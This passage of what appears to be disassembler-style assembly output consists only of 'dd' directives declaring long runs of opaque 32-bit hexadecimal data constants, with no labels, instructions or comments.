		dd 1121E504h, 0EA09CCF4h, 805F9233h, 0E19A790Ch, 753000AEh
		dd 378E71C8h, 70083E3h,	0EDE6E7C5h, 3732381h, 0A15C6734h
		dd 0AEE014DEh, 22715820h, 0FD43791Eh, 0BD537B80h, 65C0B96h
		dd 0FB730E67h, 500310B4h, 4634896Fh, 0CCB0005Ah, 0C97F1391h
		dd 79188A5Ch, 0A6715337h, 0E48100B7h, 4F9D2F27h, 4C3B509Fh
		dd 6B2980F4h, 0A2E02A9Ch, 32551891h, 0FA1F09CAh, 9F8B20C0h
		dd 18142Ah, 0B6BD2DBBh,	392321D9h, 0A3A6C400h, 0FB715E40h
		dd 11841D4Bh, 9583034h,	67030873h, 6B338FDBh, 240930B0h
		dd 85BE921h, 6E8C600h, 3CB64FB3h, 9FE39h, 2DE2CE99h, 75F573A3h
		dd 2800F0F0h, 253852AFh, 40432Fh, 0CB422922h, 50152306h
		dd 0CFE5681h, 0E8C42961h, 76305165h, 0A210CA2Bh, 16C85E61h
		dd 2A998580h, 0E0A8363Ch, 88770081h, 0CEA5964Dh, 137E02E7h
		dd 0CACF6300h, 48DFFEE2h, 3FDA3082h, 5A33BD80h,	296CE710h
		dd 0CE18F00h, 6FFC9C94h, 66FE483Dh, 212708h, 500CE3BEh
		dd 93718D53h, 0E2DF2E1Fh, 59D3C0F0h, 39B8B8BDh,	0C9282246h
		dd 392000B1h, 0FF5CEFA6h, 7E2EDC96h, 27172902h,	12A4E100h
		dd 0F0BB86A5h, 0F1600094h, 67F634BAh, 0F8074FDEh, 1939AB04h
		dd 616C1C60h, 0BF8C00C9h, 8ED87930h, 25005763h,	0E20E5534h
		dd 7D5F466Eh, 1575E4h, 64E51011h, 94C55966h, 5400E0ECh
		dd 0C1F0B44Bh, 7FB08E6Bh, 87D40003h, 0B7E8350Eh, 487473FBh
		dd 7E2CA51Ch, 0C9C86981h, 4D6008E3h, 4508CD13h,	691DFC21h
		dd 5800C77Ch, 955DE476h, 32CE663Eh, 0FA511194h,	11692F30h
		dd 880BC903h, 2427805Ch, 3EA0BE69h, 0AA734Ch, 0CA71ABB1h
		dd 0FE118CEh, 2B55C367h, 9DA40980h, 2CE80886h, 503897F0h
		dd 63E3A68h, 0E836554Fh, 58DD6008h, 68FB489Eh, 63060B73h
		dd 1086AD9Fh, 1BC0C50h,	0BF809942h, 0D5897A60h,	5448CAh
		dd 0D71861EEh, 3DC3104h, 43470C00h, 4DA1F31Fh, 52A738ABh
		dd 0ED7B3D8Ch, 5F1CB769h, 0E7FF3B2Bh, 8B070511h, 2AA73F00h
		dd 0AF2433D2h, 0C807B908h, 8B98C6B7h, 0F0CE0163h, 0C3516B0h
		dd 10764253h, 0BB14B258h, 6A89178h, 3B265233h, 0A65B0A19h
		dd 91B417E9h, 692580F8h, 8CDBC9CDh, 2D5644h, 7DD96902h
		dd 0B6D511EDh, 0F4679600h, 0E358C9Eh, 0ABB8002Ah, 0DA70DE95h
		dd 87009C54h, 0F748CD44h, 1EC353D0h, 87BDF143h,	6E66A4FBh
		dd 909AC840h, 86019217h, 71A2325Ch, 23E84168h, 58081624h
		dd 0CE2A0369h, 5698CC06h, 1707A8D0h, 4A7F226Ah,	8189EDA0h
		dd 4CDE26F2h, 0FE1C00F2h, 0F093F720h, 0D0FA3003h, 227D9D16h
		dd 0EAF44730h, 2497021Fh, 0FD0034EEh, 76637C4Eh, 0EF07FC9h
		dd 8833D21Ch, 0A66A1A63h, 0DD4D1000h, 0A5EC07D1h, 68D31978h
		dd 802008D5h, 0D1FEEF21h, 0DD1804h, 1E33604Bh, 0FAE80DD9h
		dd 2980AA6Ch, 9FFB0EDh,	117EF805h, 0CEA86C87h, 21939506h
		dd 43E866A3h, 0B1070859h, 0B358276Ah, 21BB46h, 0A611B6D3h
		dd 0C9D3CF1h, 949B3600h, 0FF155BA5h, 0C88B63ACh, 10108846h
		dd 99007438h
		dd 0F4185949h, 930073D2h, 5C8EB863h, 0BCA17Dh, 0ED0F229Dh
		dd 7C738B1h, 87C91339h,	51B5FE9Ch, 0F8F4F160h, 0F6440041h
		dd 6A32F723h, 84063571h, 0F074FB54h, 0CDF421h, 87F71669h
		dd 0E09D418h, 86E94300h, 0EC41D651h, 0B7120015h, 0D16E586Ah
		dd 2B2C4494h, 0DD06B9CCh, 491A90h, 0DEEF7B4Fh, 0F0C26399h
		dd 0AECA6007h, 0EEC0ED03h, 767E6D69h, 0C47896h,	0A16E9906h
		dd 16C2681h, 4FF140C0h,	47C817h, 0E92E3D10h, 1A686463h
		dd 90C2AA0Fh, 0BA4E4014h, 0CC4C877h, 0CFD2727Ah, 1B008160h
		dd 35BFEC48h, 0F87C41h,	500A6062h, 0BC9A88EFh, 3E98C3Dh
		dd 0F1BBCEF7h, 0A80CBB38h, 0CD7026h, 0B5DC102Dh, 8774C75Ah
		dd 2AFA4203h, 0B94BEE37h, 88CF63Ch, 0FC202F60h,	48FA7D13h
		dd 4EB7DD03h, 0BC7FD88Ah, 4CDB00A9h, 9F558577h,	5A06E748h
		dd 45CC74E5h, 2710C038h, 3C77752Bh, 9E5B3038h, 98FA2920h
		dd 60207268h, 387A0103h, 0C7578785h, 3C50E482h,	0D07C7100h
		dd 0B476FEB1h, 0FA9F0BCh, 4549793Bh, 64E7B998h,	0F705AF2Eh
		dd 0E0BA1131h, 3B0CEE4h, 0D9BBA1A9h, 81A3A663h,	371A2100h
		dd 0C68B1CB4h, 332BE4C3h, 0C7886E61h, 0CF742988h, 47408E00h
		dd 0EFE182E0h, 61F0004Ch, 0A265E8E4h, 6E0FFD5Eh, 0EF71B985h
		dd 7EC5420Bh, 83E007D0h, 0A00248C9h, 6AD7E5B3h,	5344074h
		dd 0CC916004h, 0E26E03E7h, 78E61400h, 37A441AAh, 513500EFh
		dd 56F44F53h, 4C00F305h, 490E0DD3h, 0AA1A7h, 0D608B776h
		dd 0C61A25EEh, 0B3368A00h, 0D5AB8F07h, 652A0096h, 0A21B940Bh
		dd 4700F708h, 0CF5430A3h, 2BE2B2h, 4E338ED3h, 8D62AA17h
		dd 5853C500h, 2F116FC7h, 83701F95h, 0B168074h, 9DE14317h
		dd 4B9F2D1Eh, 116EDBC0h, 0B10A9Bh, 0D8A62668h, 9A5AA30Dh
		dd 5EEBBD00h, 7E17DCBEh, 0DD8E0E89h, 1D0057E6h,	8CED9A87h
		dd 906D9102h, 0C0A7748Dh, 0F43D5800h, 386E0082h, 0B3CD7E1Dh
		dd 5600E310h, 0C7C3D00Dh, 0B6444Ah, 0AF3B1303h,	0C10E6D96h
		dd 0D6B748C0h, 1B05Ah, 3832D91Bh, 8984164Bh, 20FB2231h
		dd 0DA40C33Ah, 34921Fh,	3549EEEh, 52EA1699h, 200E978h
		dd 0CCBCB8B0h, 0E03A34A6h, 7B0A01EDh, 47AFA2BFh, 0C25E805Eh
		dd 485AB4C7h, 0CD7F84h,	875DC592h, 19BB759Bh, 0DCD93102h
		dd 0FD023678h, 337E6940h, 72A33400h, 0DE2659EDh, 0E99200BAh
		dd 0B3AFFF55h, 0E27E8246h, 27BCB900h, 1A048138h, 0C4232718h
		dd 67009858h, 0ADB20B3Fh, 0DDF92Bh, 62A5476Dh, 15C56B8Bh
		dd 850EB4F0h, 3657505h,	90AD71FEh, 18E8B8h, 7AB1F9B5h
		dd 0BAE1DB61h, 789F28C0h, 3F28AD34h, 49805C32h,	266D31BDh
		dd 1A00CBD8h, 99C84C55h, 606A66h, 0D1804767h, 82AECF01h
		dd 424A0503h, 8B3E5F7Eh, 2C49808h, 9CD00063h, 0B60F6E3Dh
		dd 0D203221Ch, 5FEC9D48h, 50F8E69Bh, 24300CEBh,	7B5270h
		dd 8AA0D52Bh, 7C3A0193h, 0F83F30DCh, 544B98h, 1EE31177h
		dd 10E481C9h, 4495FA02h, 607BB693h, 0E0EBB9Bh, 0CA5327D2h
		dd 2FF19480h, 8C0097D8h, 6831CD57h, 1C8038Ah, 0B1DAA782h
		dd 514C1D0Fh, 0E363D8ACh, 0ACC205A0h, 907A6F00h, 0AA88E9F3h
		dd 0F8C7006Dh, 41A610D1h, 0F8C08EF6h, 0A05F5AC4h, 0EEEFFCE3h
		dd 4260392Fh, 6693E20Fh, 54D231E0h, 0F90CC135h,	0DEE15A0Bh
		dd 0C8090087h, 92FADF98h, 8500DA6Ch, 0D05E5358h, 95BB25h
		dd 0CC8EFD88h, 67213C55h, 24960812h, 0E5CDFD00h, 755C2Ch
		dd 7920D995h, 45DEF378h, 94F7E700h, 661F671Ch, 0C498004Ch
		dd 0AFD94983h, 0C500907Ch, 8EFC33ABh, 0E822C0AAh, 193A0ED3h
		dd 88A2754Fh, 6960437Ah, 813018BAh, 3DBBB8CCh, 6C9000AAh
		dd 0E96E0DFh, 712FCF8h,	0F900B8E8h, 9885D411h, 7ED7009Ah
		dd 0CC7D0B2Bh, 0C0271DAh, 7A5F76B6h, 79E409Fh, 0E3EA07E4h
		dd 8A95FC25h, 785A008Ch, 0EF0C88C8h, 0A84D7E1Dh, 8C257FCEh
		dd 1CA040h, 7ADEADDBh, 3390E570h, 99833A00h, 3E8BFCDFh
		dd 2DF700E6h, 0A22BD538h, 330065F6h, 32397912h,	1925631h
		dd 24CA69D9h, 0E0BD8EF4h, 1C006F4Ch, 9EF759D4h,	7A2380E4h
		dd 37EE3B6Bh, 274F2000h, 10D6FAA7h, 520395EAh, 9A2C0F44h
		dd 59100BC7h, 61FD8190h, 0DAEC9984h, 0D0432EE3h, 0C07C0457h
		dd 75D980C5h, 0BA00C306h, 1D0B262Bh, 1D552A5Ch,	58DA6676h
		dd 4EF13891h, 0A8DB3136h, 0DED10010h, 50550305h, 5C30AD51h
		dd 89E6198Ah, 858C00B1h, 0E7966140h, 0C2E2FF35h, 167CADE0h
		dd 9E22072Eh, 13533803h, 0E938028Eh, 0DA62D1Ah,	4C4DB600h
		dd 20C30039h, 3B4A83Eh,	60382CAh, 0F4991247h, 492BA82Fh
		dd 40893E30h, 7B091403h, 46B13B8Ch, 138040A0h, 0B4095745h
		dd 71AD718h, 0F140AA41h, 1F3836h, 0EEB87BB5h, 52714F5Fh
		dd 0CB405E60h, 74187h, 0B2AE211Ch, 0C886DBD3h, 0B89B900h
		dd 0CD1374BFh, 73A4005Fh, 0AA70C65Eh, 1800346Ch, 451FF46Ah
		dd 1892017h, 0BA9D1CDEh, 0D0A470DFh, 900BBFCh, 0FF390ACCh
		dd 909C0Dh, 1CF4C347h, 3B377C24h, 0FB124B03h, 0E43F28E7h
		dd 522EC800h, 453C045Bh, 72C780A5h, 9C7D80B5h, 2B1F8F0h
		dd 0E7B03FE3h, 9E000D0Fh, 3E430889h, 0C800EDCFh, 0D4E12890h
		dd 20C010BBh, 0D0200F3Dh, 9A903F5h, 0FF681711h,	2AB7F4A0h
		dd 3E98EC1Eh, 795E8C00h, 4EA41Dh, 0B4E78DB6h, 0FCB54DFDh
		dd 73961C0Ch, 0F6E8A0F3h, 0C04E7FADh, 66D3618h,	0BD011DE7h
		dd 3A9BB89Fh, 84401708h, 341718Bh, 85ED325Eh, 4002FB31h
		dd 0F0425CABh, 0F43A7h,	0B83B9678h, 4D7F4581h, 6D0CB400h
		dd 8D957B73h, 68EC5Bh, 0E3ABCC4h, 1281362Dh, 0A9C7DF02h
		dd 91260690h, 0D210F024h, 0EB1E8F8Bh, 838C342Dh, 18FC90ECh
		dd 880F7794h, 0FD003CF5h, 3AD796B7h, 12320Ah, 33DAC2D5h
		dd 0E4BC765Bh, 0E2FAA00h, 0DE99B3F5h, 0ED39240Fh, 0C260CF6h
		dd 9E185550h, 0F418E7C2h, 0E2CD3158h, 60AA7F69h, 0F609B6B7h
		dd 8272E0F0h, 801BCC4Ah, 0B2F87AC8h, 0C04006Fh,	7332609Fh
		dd 0D0022EDEh, 0A5395495h, 6184367h, 0F7E15CA8h, 880739F6h
		dd 19065864h, 86EA9291h, 14B21881h, 2493877Ch, 47005740h
		dd 0A36CCC9Fh, 1A5C7F1h, 21E78B0Eh, 8366458Eh, 4A9D65B0h
		dd 78C7F076h, 92A11582h, 41FDC38h, 8833806Fh, 6D720DE5h
		dd 44353203h, 0D08AECCBh, 63B5A9Eh, 257F9EDh, 0C8806EC8h
		dd 9054AC40h, 8918AEB0h, 92A0F46Eh, 0F58CA80Dh,	83440113h
		dd 183E7DD4h, 2CB3033h,	0CB310900h, 7FF580FDh, 0DC9CB82Bh
		dd 0A89CC038h, 7CA0DE90h, 0C6121AEAh, 5EAC2ABFh, 0BC1412h
		dd 86706290h, 0E034973h, 0C865C2BDh, 0D7C18801h, 3190000Fh
		dd 0A2B13B81h, 8807E45Dh, 0C71752ADh, 7A5001B7h, 0FB554Fh
		dd 9684A4DFh, 8F274B08h, 0BB437614h, 0E8200C5h,	39BA0F1Dh
		dd 2D0906E6h, 8107E3Ch,	20FD1A30h, 0CE61A7h, 42E2E744h
		dd 8CE32416h, 0E63A527Ch, 0B3178FFEh, 737600DDh, 0FB4B7Dh
		dd 0BD094C40h, 7A06B28Bh, 4A68911Fh, 88DD900h, 7DDB0A3h
		dd 489BBD13h, 0F6BA47E0h, 2E001138h, 0CC3A5756h, 60DEF90h
		dd 16228864h, 0E70F215Dh, 20845799h, 0A95C46ABh, 0C3A10A42h
		dd 28EBEA54h, 0B7C703D1h, 84227E6Ch, 1D9F123h, 0E607BA11h
		dd 403118B9h, 0C00FDFCh, 0EE1BF3BAh, 18E7CED1h,	5829A9D0h
		dd 21E212BCh, 90C3BFB0h, 0A0101DE8h, 192883A3h,	8D4A14Dh
		dd 2017EF7Ah, 0EEFC01FFh
		dd 727C9000h, 0CBB63DC7h, 522D8205h, 0D0002932h, 588EB37Dh
		dd 0F59D0051h, 0EC898B33h, 68745639h, 0B7254AFAh, 4C3F61D3h
		dd 797C118Ah, 68185E04h, 40105144h, 91C50521h, 8073872Dh
		dd 0F018EAE6h, 937D8201h, 0D4858005h, 1F49F770h, 8775DA28h
		dd 0BA92E7h, 58047A77h,	4E5C1300h, 0AB97D2BFh, 86F3008Bh
		dd 4CC8717Dh, 0EA0081E4h, 0D11B144h, 9885CA2h, 0ADE95468h
		dd 4697ED00h, 0DE26276Ch, 90008648h, 110BC4AEh,	0B674000Eh
		dd 0F41C3179h, 2C0197D8h, 0AA3F9A5Ah, 92831814h, 15A8A0C0h
		dd 99F137E0h, 0C42DF20Eh, 0EDC3A2BDh, 1379C050h, 0C77B03h
		dd 0B22CD160h, 0F1BAF2AFh, 0C8DC4850h, 45EDF701h, 0FC954224h
		dd 993370h, 0B5302E69h,	0C5D1B662h, 724E8007h, 0D9202361h
		dd 0E943F0h, 3389C7BAh,	0F4C2CFA9h, 0DCFF7800h,	0F64B1CAFh
		dd 49B500AAh, 0B60AD5B7h, 10003209h, 20E9712Bh,	0F96095h
		dd 0D5E66D41h, 0E2352FA6h, 0B4A5AD01h, 970F526Ah, 982EDCh
		dd 0BE219395h, 4D031AA9h, 73AEA500h, 77D6D35Bh,	1CB900C6h
		dd 27FA8B35h, 60016EFDh, 0A6636F19h, 8080BA3Ah,	71E5A766h
		dd 690E527Ch, 171654h, 0F3EC08A4h, 1D735Bh, 9C6B0911h
		dd 0FA443FEEh, 72565Ch,	7DAC25C8h, 0E6B83197h, 59F90096h
		dd 3E131246h, 5048FE47h, 4A200028h, 0F0DE1924h,	0E008006Ah
		dd 528B7236h, 0A400F67Eh, 4FBD1F22h, 0D019C9h, 306BDEA7h
		dd 44DC81EFh, 737C3600h, 0F3903E2h, 0CFCC1C50h,	242300F9h
		dd 1B77FBA1h, 814958h, 183045F2h, 0CC37D8h, 0AA2AEF5h
		dd 313DF376h, 0EFF8E424h, 9543FC1Eh, 0E859A961h, 0CBA0B0h
		dd 0E35AAD50h, 8EFE843Eh, 8B0349F8h, 0A068D7F4h, 89EC90BAh
		dd 0F8872E58h, 0B8610093h, 431A11A1h, 362E000h,	7F69C8FAh
		dd 6099001Fh, 0FFCD1508h, 39C0F330h, 39D85D31h,	0C45001CCh
		dd 22C04551h, 416D20B9h, 7EBA9803h, 0F8A1FBEEh,	0BD87F3h
		dd 49E09690h, 0E4D4462h, 0C219B01Ch, 0E16FC780h, 30BA31h
		dd 0EA743A23h, 0B4080420h, 0DB81CD00h, 99104742h, 0AEFB3DE7h
		dd 3D32DA00h, 0AA7191ABh, 6F00F090h, 169E7DA1h,	1CEDC7EBh
		dd 83DF222Dh, 8E93084Ah, 9DF0F2C0h, 0FBC47B50h,	0B39FDC01h
		dd 0D2D97AA6h, 459C040h, 906005Eh, 0CB8719B7h, 81F1BF7h
		dd 14C07701h, 0E4A85105h, 0D7210262h, 67B57B9Bh, 88063040h
		dd 0B6F14D04h, 10805D2Eh, 0CE9D46h, 66E50BC9h, 61BF52A3h
		dd 77791738h, 5E006CB8h, 999AC2A0h, 0E6BDD94Dh,	74EA59h
		dd 34C8090Dh, 0A6C56807h, 806C723Ch, 8718BB55h,	8BF9C4h
		dd 509CF75Dh, 56DF3B0Ah, 5ED1D700h, 5329F362h, 1EF00EAh
		dd 874E4430h, 1E00D315h, 0D52B3BAh, 0F2A3D72Dh,	72490078h
		dd 5BA9511Bh, 2CF625C9h, 79F47E00h, 0EB58B3CFh,	0DCBC33E7h
		dd 189324D1h, 0BB3AB0E8h, 1BFFE00h, 0E8152223h,	712E4CC3h
		dd 79DFE500h, 8C8D9BCEh, 5F934800h, 0CF1475Dh, 6B9F06EBh
		dd 487EA984h, 7195B00h,	0E6426C24h, 2E3A00B3h, 0B8DF0E40h
		dd 27B869ABh, 68A84B26h, 0EA60A500h, 0D01D8Eh, 437177DEh
		dd 51DF9254h, 9232682Ch, 5FD53B03h, 6F6DA035h, 54E60F62h
		dd 39600B4Ch, 17AACAD3h, 60DF2301h, 8345132Eh, 0FEDAE5E4h
		dd 8669016Bh, 3E4BF220h, 1E8BE068h, 95CE2D07h, 8770D935h
		dd 171972Ah, 612046BEh,	0C5E139B9h, 0B822C4FFh,	0F0ED7915h
		dd 490A0790h, 0E330954Ch, 19984EFh, 0E761836Eh,	0F96DBEEAh
		dd 3EA84144h, 0D99640A0h, 10142A4h, 1BF9C3CCh, 0B8C4D3E4h
		dd 226F4C4h, 0F0B93307h, 544CA71Ch, 96FE8F01h, 3CDA9C8Bh
		dd 0E54F20h, 30F7A611h,	3BDB3FAFh, 59546E00h, 8FE69FE1h
		dd 0E9F20021h, 739BA595h, 500E3CB5h, 206F1130h,	3DDA3FE0h
		dd 29613818h, 4DA3D504h, 0C648A50h, 583C18C1h, 3ADF01A3h
		dd 624759FCh, 4F6DF88Dh, 69C094E0h, 7E4F8EAh, 0FFDD1613h
		dd 67530059h, 68974427h, 0D933A00h, 61C6AA06h, 0CC9F00F6h
		dd 6B66E7A5h, 0D090D16Eh, 4700E078h, 68172095h,	72D2CBAAh
		dd 60340036h, 0D61D9B22h, 0B70093E1h, 10F316FFh, 0A07C56h
		dd 0FB5EEE63h, 6791596Ah, 1F00347Dh, 0B9F48CAh,	0F56F22h
		dd 7FB286D7h, 0FA3BA959h, 10C1721Dh, 0D1DA2180h, 18B767h
		dd 0EC4A7B41h, 273F5570h, 0B99B2F03h, 0B802615Fh, 25EA46h
		dd 0BA37E31h, 0EEF2096h, 0EB951900h, 0A4886B9Ch, 787B0069h
		dd 3CB15A34h, 5200B2CFh, 59926FCEh, 9089741Bh, 0EE1E0B6Ch
		dd 508171A6h, 2006F511h, 90048AE4h, 535AB582h, 0B37530C3h
		dd 3BBC097Bh, 421E647h,	0D871142Dh, 340F99D4h, 6007FDD6h
		dd 0EDDFF295h, 3EF15C1Ch, 0FAE0DE00h, 3B44B75Bh, 0C58FC707h
		dd 0A1D0C202h, 7E772238h, 3CB002CAh, 636D50BFh,	7D8DB080h
		dd 400AC7Fh, 0E3017372h, 0CA17934h, 7CCDDFA2h, 0B4C70B6h
		dd 821FC0D4h, 1232A8Ch,	0AFE7CB10h, 800FEC7Ch, 0A8BEE5BCh
		dd 13FCF92Eh, 66CFB21h,	0F87D5F89h, 0A4C4F424h,	5BD38C80h
		dd 878A13h, 50F8D656h, 0E6F7C503h, 60E827E4h, 9E01E9ECh
		dd 8B7B3B34h, 0B5D4453Dh, 0A999124Ch, 58200A8h,	2A5B6B1Dh
		dd 2FA7F500h, 7D24B8EAh, 395424FFh, 0E787806Ch,	26A65D88h
		dd 56AC4100h, 4D5F962h,	2B155833h, 8C726701h, 8E3745F8h
		dd 4E41A570h, 9DD22090h, 0C3AD516Ah, 0C1D8C818h, 0F540F2D0h
		dd 4DB10501h, 0A460D75Eh, 49E48AE5h, 1C2728Eh, 2EEC17B4h
		dd 34DA373Ah, 29035B18h, 0C98DA095h, 0C66C3B41h, 50D64B89h
		dd 8A1EE480h, 0A40024A6h, 3CC41516h, 3E40A2Fh, 1C736C5Ch
		dd 0FE901D37h, 0E3CBA23h, 0A3B30047h, 27ABD4EFh, 1983037Bh
		dd 76699A5Eh, 0A18EDEA2h, 0C8972CE2h, 0C042E090h, 0DDB54B0Fh
		dd 282007Eh, 0FE0F538h,	0B2349F64h, 362737E0h, 1A0989BBh
		dd 0AAB17715h, 10262568h, 88E64480h, 2EBDF5Ch, 8B4B96D4h
		dd 0B0CE1F6Fh, 0E9F65615h, 6DAC049Ch, 0B7030FEBh, 40D774A2h
		dd 0C8659F7Dh, 0ECD5820Eh, 2621C420h, 27AA1492h, 8B20FF63h
		dd 7E8AC524h, 0F523300h, 9F43AF53h, 602A677Fh, 2D54C231h
		dd 0BA8BBCE8h, 10A30424h, 0C8789352h, 9DD51Bh, 0DDE7AB33h
		dd 0B25442CBh, 3A979A01h, 0DFF83746h, 0FBEC70h,	20C10B7Dh
		dd 0BAFFCA7Fh, 0EA42891Dh, 0C63BD481h, 0C440DEE1h, 483A92D1h
		dd 0A8002390h, 0ECC1A236h, 591E1DA3h, 9F407F9Ch, 7016D4E8h
		dd 1CB40042h, 252C6106h, 490057F9h, 6E5BBAECh, 0BE5FF53h
		dd 0DFCA1B08h, 0CBB23813h, 0F423E9C0h, 5A891502h, 62D8988Fh
		dd 2446425h, 9CD74822h,	0BC4C1E53h, 56E6F22h, 19E3D394h
		dd 8D007E7h, 881D8142h,	236821AFh, 914309F8h, 221400CAh
		dd 1D959Ah, 40757FE0h, 0A2149CD1h, 18527C2Ch, 0E3664D60h
		dd 972B2C53h, 9E0100CEh, 0E73F8152h, 0CF00C878h, 0A8937627h
		dd 0F24380Eh, 3DF91FEFh, 0EDB8CA9Dh, 66500E0h, 4AE5A6DFh
		dd 0E7958809h, 0B6944074h, 12B27BDCh, 0B105EAF7h, 34A9A6AEh
		dd 0B445E002h, 34E56Ch,	3D5ED3A0h, 2C003466h, 3AB1273h
		dd 3A15D4Bh, 0FE619AFAh, 6583316Fh, 95DBE5A8h, 18D88801h
		dd 0B5B25A74h, 676D70h,	49D9A690h, 6FBF7087h, 8A16AB00h
		dd 6DC464C7h, 5B121CFAh, 8CDB40ADh, 57892E40h, 75D3C51Dh
		dd 0CF64B383h, 0C8EBD377h, 30E151h, 24476261h, 97FCCE0Fh
		dd 0C2B1AD00h, 0C636D042h, 0A4401FEBh, 182C076h, 0FE4B4AD2h
		dd 1F9F221Ch, 0E8976480h
		dd 33F7FFh, 3C5B0907h, 4E5444DDh, 19F6527h, 410CFE7Ch
		dd 3D0BBD4h, 58F1871Ah,	91D8B67Dh, 0EC130A12h, 0A011F63h
		dd 2ACDB3C2h, 1453F8h, 914B5E2Dh, 0CE6E096Ch, 0BE240800h
		dd 0EE29EABCh, 0D1B70049h, 0A05771F1h, 2D593AE0h, 688E0064h
		dd 76567AB5h, 0C1351E9Dh, 483CBEE8h, 51ADD581h,	384DBCFAh
		dd 3EB918CCh, 0E43DAA9h, 0A650C9D5h, 4A76481h, 85FBEBh
		dd 9ADC9090h, 871357E0h, 7E00987Ah, 124A0785h, 0EAA000D7h
		dd 0B515EE5Ah, 0F1003CE2h, 903624D0h, 7CDB451h,	0C7FA5294h
		dd 7614C00Eh, 9A3F26C3h, 0D27000E6h, 7E5B3A59h,	0FF5201DAh
		dd 7121F9F3h, 5190981Fh, 4E33D8A9h, 3B701E94h, 15D3EF6h
		dd 9C009DDCh, 0D150A6D5h, 84A429E0h, 0BE60107Eh, 52ED1631h
		dd 47673A02h, 0D7536600h, 3238CA28h, 0D94F4307h, 45109FCBh
		dd 789B9804h, 90E4005Dh, 0D0E38A24h, 957CA8B5h,	48A5FC00h
		dd 42620AFEh, 0E2C5E48Eh, 0EDFA3D9Fh, 8FD65980h, 48479A8Ch
		dd 0F9323363h, 2A01985Eh, 46F501D0h, 14CD646Eh,	3688F0B3h
		dd 0B8C5FF0Eh, 0C9452360h, 62B100BCh, 79776801h, 80E76FB5h
		dd 0FCCBE0D0h, 278B70h,	8A984106h, 0CFBCF7B3h, 5C4EF109h
		dd 9A5A80A1h, 48A8B9F8h, 501E7372h, 0BA4AD4B6h,	0F3A9C700h
		dd 7AFD440Dh, 52CBC800h, 297D9020h, 9661EE4h, 0C33640B4h
		dd 10176572h, 0AE0C0200h, 6739A40Eh, 0CCD50025h, 6CCD376Ah
		dd 0E626AB18h, 2100F070h, 2C72D8CBh, 2A3A00C6h,	3315E81h
		dd 0BF008EA8h, 3705DCFFh, 0E6C31959h, 1DF2055Ch, 83C7B093h
		dd 1886805Ch, 0EDCCF603h, 0A05F27h, 0EB06D43Ah,	0C69217D7h
		dd 74207D00h, 94FB0461h, 0C33100D2h, 6F39B756h,	0A70C2F68h
		dd 906D8EB1h, 289700B5h, 247915D0h, 24EDD8C1h, 0E100D224h
		dd 0F26977C0h, 7281081Ch, 79509F0h, 7080D32Dh, 93ED0325h
		dd 6FE24602h, 0D0565B63h, 9DD71264h, 855500F2h,	0CEA6947h
		dd 6232FC02h, 60B6AC67h, 28486B9Ch, 0FB5819h, 42A0692Ah
		dd 3FE147C6h, 1C84851Dh, 458A0500h, 7CA5DBCDh, 82EC00F6h
		dd 852B207Ah, 2E00904Dh, 0D602CBAFh, 75372Fh, 48620CA2h
		dd 2D4FC140h, 0DB601800h, 3526AD08h, 0C6990012h, 133B73BAh
		dd 0FF009D10h, 0C2777D0Ah, 95EE0411h, 68ABFE60h, 0F67E6A01h
		dd 0A8BBAC82h, 0C06FB09Fh, 26F84CBAh, 650041E0h, 2781F96Ch
		dd 9CA4702Fh, 5A6A00D8h, 4053575Ch, 0E9B52900h,	0BB484D5Bh
		dd 38D01E6Bh, 0C03D0146h, 7052B94Ch, 420EC618h,	60744901h
		dd 5DD6830Fh, 0EC6D0046h, 0E4A048D9h, 0A1000B3Ah, 7218F053h
		dd 0A82C2Bh, 0D70C6CAEh, 7C50BAA7h, 2362291Ch, 0CD008AD6h
		dd 0F156D068h, 8BB000A9h, 636EA4D2h, 48B6538Fh,	6634D900h
		dd 8DF174h, 0E6F211FAh,	45C73572h, 32448A0Fh, 258FA06Dh
		dd 0BED70CEh, 9EB23BEh,	521A90A0h, 66287610h, 4232FCE5h
		dd 786A5961h, 0F49A7808h, 0BA0C0F23h, 0C7A0D7C2h, 989D80A7h
		dd 1486150Fh, 8422601Fh, 902FDEAh, 4007CD63h, 0B57D1880h
		dd 461D9179h, 0F440A4A5h, 4F8F4D2Ah, 0F7D8F916h, 528A1CE7h
		dd 0A59F90h, 5BEE579Ah,	7D018160h, 6D59138Dh, 7CFD25F8h
		dd 0ECA1ECh, 0FF2D5EF4h, 0FCB2B5D1h, 0E4886600h, 291617CAh
		dd 335C1C69h, 43730067h, 0D1953B41h, 3E8B8800h,	4F408A66h
		dd 8A307B4h, 29F40AF2h,	80536A04h, 229C6B94h, 0A0C96A00h
		dd 1CD217E6h, 0BDE30F34h, 8D80751Bh, 0F7DED789h, 520F907Ah
		dd 0A02BCC0Fh, 16D98828h, 20E30038h, 7778416Eh,	1E00A1C7h
		dd 0AE9655AAh, 93A5DBAh, 0DF3FF5E5h, 607DA700h,	0EF0303B8h
		dd 0D374D0B4h, 4053AA6Ah, 3E043C24h, 27076636h,	0B739CA71h
		dd 0C662703Fh, 98EE8688h, 99D6F007h, 2DD0A4BBh,	686190h
		dd 0C68D7585h, 9F37D94Dh, 3C7CF00h, 0D8D0E098h,	0A1CD0197h
		dd 29C4FD4Fh, 0F3A3FCB6h, 442EC726h, 559CD500h,	7A4D2CFCh
		dd 422493Ch, 7497F707h,	5001B077h, 0E4A4D8C3h, 0FF13F51Fh
		dd 30ED0980h, 734BBEh, 4EB5A27Ch, 81CA66E8h, 0DC004671h
		dd 0FADF2DD0h, 90837Ah,	10CE606Dh, 0E144E219h, 348AFD00h
		dd 0F3F89CD2h, 0F950075Ah, 7F400B41h, 0EC84403Fh, 75AAB08Dh
		dd 5FB74800h, 18D2D6CFh, 268A00EEh, 0DC37A9F7h,	800B17Eh
		dd 0A161564Eh, 71406h, 0EB204D88h, 2FA7EA5Bh, 0ADAA9C00h
		dd 42E8EEC8h, 0D691098Ch, 0F80047B6h, 52867671h, 48009CBCh
		dd 18041F06h, 123B07A2h, 50B86E69h, 458979FBh, 0B6F8C54Ah
		dd 501C8458h, 0DFFECBDAh, 6000B894h, 10626C9Eh,	0C4F6E7h
		dd 0EC8226DAh, 587586E9h, 0BCCB7F00h, 0F4BFB0CDh, 0EAF8F6h
		dd 10A60C77h, 3A8F39C5h, 80790E3Bh, 57AADC3Fh, 0AD8A72h
		dd 32DD6124h, 9B42E77Ah, 263D911Ch, 747C5407h, 0CD7E7890h
		dd 69620170h, 0B8BAAAB2h, 9A30C04Dh, 0CA7CA200h, 8ADF6E7Fh
		dd 730B97Eh, 17EA2B6Ah,	11BB908Fh, 0D4E80843h, 5F00B075h
		dd 30E60434h, 0E1B1977h, 263A17F2h, 0C8029740h,	75009246h
